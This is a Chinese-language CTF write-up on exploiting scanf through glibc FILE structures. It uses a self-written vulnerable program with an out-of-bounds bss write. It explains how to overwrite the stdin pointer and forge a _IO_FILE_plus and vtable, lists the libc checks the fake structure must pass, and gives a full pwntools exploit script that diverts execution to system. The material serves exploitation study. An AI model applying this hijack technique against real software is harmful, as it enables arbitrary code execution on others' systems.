scanf的IO利用

之前写过IO_FILE的利用,只是在资料里看到scanf也能用,却没有做到对应的题目,也没有亲自调过,在xctf决赛时候的第一题,看见了sscanf以及bss上的溢出,以为可以用,但是sscanf是对字符串操作而不是IO,于是没有成功,但是还是好奇scanf应该怎么用。于是自己写了一个小程序,尝试修改bss上stdin的地址,并满足scanf中一系列的参数要求,最终完成利用。

漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include<stdlib.h>
long int a[10];
char b[1024];
void sys(){
system("cat flag");
}
int main(){
//使用了setvbuf才会在bss段里写入stdin,stdout和stderr的地址
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int i=0;
puts("input idx:");
scanf("%10d",&i);
//数组越界
puts("input num:");
scanf("%ld",&a[i]);

puts("input content:");
read(0,b,1024);
scanf("%d",&i);

}

这里最后一个scanf是为了触发漏洞,调用stdin的vtable。

漏洞利用

由于存在数组越界,覆写bss中的stdin地址,然后在b数组里伪造一个_IO_FILE_plus结构和一个_IO_jump_t结构,让stdin指向数组b即可。

之前一直不理解,在IO时候究竟是怎么使用bss上的stdin的,看了libc中的汇编指令,_isoc99_scanf在调用_IO_vfscanf之前,参数存放在rdi中,而rdi的值是[r8]中的值。而r8是从stdin_ptr中读出的。

_isoc99_scanf调用_IO_vfscanf时的rdi

r8的值

而stdin_ptr位于libc的got表中。

1
.got:00000000003C3FB0 stdin_ptr       dq offset stdin         ; DATA XREF: scanf+8C↑r

通过动态调试,发现stdin_ptr中存放的值就是bss段上stdin的地址:

stdin_ptr内容

也就是说r8为bss中的地址,那么[r8]就对应着bss上这个地址中存放的内容。正常情况下,里面会写入libc中stdin的地址。但是,当把bss中stdin内容修改为数组b时,_IO_vscanf的参数就变成了数组b,即将数组b看作一个_IO_FILE_plus结构。

伪造的_IO_FILE_plus结构需要满足一些条件:

  1. fp._lock要填入一个地址,且fp._lock+8也是一个地址

    1
    2
    3
    <__isoc99_scanf+117>    mov    rdx, qword ptr [rbx + 0x88] //rbx+0x88对应着fp._lock
    <__isoc99_scanf+124> mov r9, qword ptr fs:[0x10]
    <__isoc99_scanf+133> cmp r9, qword ptr [rdx + 8]

  2. fp._lock中地址对应的值为0,希望以eax和[rdx]相等的姿态完成这个操作。这里cmpxch指令的含义是,比较[rdx]和累加器eax中的值,若相等,将esi地址对应的值装载到[rdx],zf置1;若不等,则将[rdx]的值加载到eax,zf置零。

    1
    2
    <__isoc99_scanf+165>    cmpxchg dword ptr [rdx], esi   <0x6014a0>//0x6014a0为数组a的地址
    <__isoc99_scanf+168> je __isoc99_scanf+192 <0x7feb6538f590>

    ——————————满足以上条件将进入到_IO_vscanf函数中—————————————

  3. fp._flag的最低字节的第3位不能为1,不走jne这条指令:

    1
    2
    <_IO_vfscanf+164>    test   al, 4
    <_IO_vfscanf+166> jne _IO_vfscanf+9928 <0x7ffff7a6af48>

    ——————————满足以上条件将进入到__uflow函数中——————————————

  4. fp._flag的值存放在rdx中,判断rdx的第二个字节(低)的第四位是否为1,期望值是不为1,不会执行下一条jne。

    1
    2
    <__uflow+26>    test   dh, 8
    <__uflow+29> jne __uflow+152 <0x7feb6539f438>
  5. fp._markers应该为0,否则就会进入到奇怪的分支中。

    1
    2
    <__uflow+49>     cmp    qword ptr [rbx + 0x60], 0
    <__uflow+54> ✔ je __uflow+272 <0x7feb6539f4b0>

    ——————————满足以上条件将进入到fp.vtable.underflow处执行——————————

  6. 正常情况下是在underflow里面调用xgets,即vtable.xgets,但既然已经跳转到vtable中的underflow了,不如直接把underflow处对应的地址修改为system地址。

  7. fp的_IO_read_XXX,_IO_write_XXX,_IO_buf_XXX之类的值都填成0比较安全,否则会进入到奇怪的分支中。

最后构造的fp如下:

1
2
3
4
5
6
7
file_struct = '12;sh'+'\x00'*3#_flag:0x733b3231 最低字节0x31的第三位为0;第二个字节0x32的第四位为0
file_struct +=p64(0)*11 #11个IO指针
file_struct +=p64(0)*5 #_lock之前,包含_markers
file_struct +=p64(0x6014a0) #_lock:0x6014a0 _lock是一个地址(数组a),且地址中的内容为0;_lock+8也是一个地址
file_struct +=p64(0)*9 #vtable之前
file_struct +=p64(b_addr+224) #vtable地址
vtable = p64(0x40079f)*9 #vtable中内容

其中_flag既要满足限制条件,也要包含system要执行的参数,因此用”;”隔开,顺序执行指令。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level='debug'


p = process('./fp_scanf')
p.sendlineafter("input idx:\n",'-134')

b_addr = 0x6010a0
p.sendlineafter("input num:\n",str(int(b_addr)))

gdb.attach(p)
file_struct = '12;sh'+'\x00'*3
file_struct +=p64(0)*11
file_struct +=p64(0)*5
file_struct +=p64(0x6014a0)
file_struct +=p64(0)*9
file_struct +=p64(b_addr+224)
vtable = p64(0x40079f)*9

payload = file_struct+vtable
p.sendlineafter("input content:\n",payload)
p.interactive()